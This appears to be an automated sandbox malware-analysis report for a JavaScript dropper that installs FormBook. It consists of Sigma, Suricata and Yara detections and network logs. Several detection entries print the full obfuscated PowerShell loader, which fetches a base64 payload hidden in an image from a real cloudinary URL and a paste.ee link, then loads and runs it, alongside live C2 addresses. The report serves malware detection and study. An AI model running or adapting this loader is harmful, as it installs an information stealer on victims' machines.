$xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64Strin

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 104.21.84.67, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7296, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js, CommandLine: "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js, ProcessId: 7384, ProcessName: cscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js, CommandLine: "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js, ProcessId: 7384, ProcessName: cscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 8012, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js", ProcessId: 7296, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper - File

Source: File created

Author: Tim Shelton: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 7296, TargetFilename: C:\Users\user\AppData\Local\Temp\ostaxa.js

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAZABqAHUAdABvAHIAKQA7ACQAbQ

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 104.21.84.67, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7296, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64Strin

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64Strin

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 8012, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js", ProcessId: 7296, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAZABqAHUAdABvAHIAKQA7ACQAbQ

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Suricata Signatures

ET MALWARE FormBook CnC Checkin (GET) M5

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:06:04.610000+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	49751	192.186.57.30	80	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:05:09.005082+0100	2049038	1	A Network Trojan was detected	151.101.1.137	443	192.168.2.4	49731	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:05:26.705288+0100	2858295	1	A Network Trojan was detected	104.21.84.67	443	192.168.2.4	49738	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T10:05:25.647927+0100	2841075	1	Malware Command and Control Activity Detected	192.168.2.4	49738	104.21.84.67	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected FormBook

Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2951402841.0000000004770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2951435333.00000000047C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2570201674.0000000006950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: unknown	HTTPS traffic detected: 104.21.84.67:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.137:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.67:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49802 version: TLS 1.2

Source:	Binary string: choice.pdbGCTL source: MSBuild.exe, 00000009.00000002.2190330071.0000000000E38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: MSBuild.exe, 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000003.2186865079.000000000482E000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000003.2185050741.0000000004679000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MSBuild.exe, MSBuild.exe, 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, choice.exe, choice.exe, 0000000A.00000003.2186865079.000000000482E000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000003.2185050741.0000000004679000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: choice.pdb source: MSBuild.exe, 00000009.00000002.2190330071.0000000000E38000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\choice.exe

Code function: 10_2_02B1C9D0 FindFirstFileW,FindNextFileW,FindClose,

10_2_02B1C9D0

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\wscript.exe	Code function: 4x nop then mov ebx, 00000004h	0_2_02D4BFB2
Source: C:\Windows\System32\wscript.exe	Code function: 4x nop then mov ebx, 00000004h	0_2_0000023761C1E4E8
Source: C:\Windows\SysWOW64\choice.exe	Code function: 4x nop then xor eax, eax	10_2_02B09D10
Source: C:\Windows\SysWOW64\choice.exe	Code function: 4x nop then mov ebx, 00000004h	10_2_048C04E8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 4x nop then mov ebx, 00000004h	11_2_000001BADB8244E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49751 -> 192.186.57.30:80
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 104.21.84.67:443 -> 192.168.2.4:49738
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 151.101.1.137:443 -> 192.168.2.4:49731

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 192.186.57.30 80			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 104.21.84.67 443			Jump to behavior

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Source: global traffic	HTTP traffic detected: GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1Host: res.cloudinary.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/5zfAV/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 151.101.1.137 151.101.1.137
Source: Joe Sandbox View	IP Address: 104.21.84.67 104.21.84.67
Source: Joe Sandbox View	IP Address: 104.21.84.67 104.21.84.67

Source: Joe Sandbox View

ASN Name: FEDERAL-ONLINE-GROUP-LLCUS FEDERAL-ONLINE-GROUP-LLCUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.4:49738 -> 104.21.84.67:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
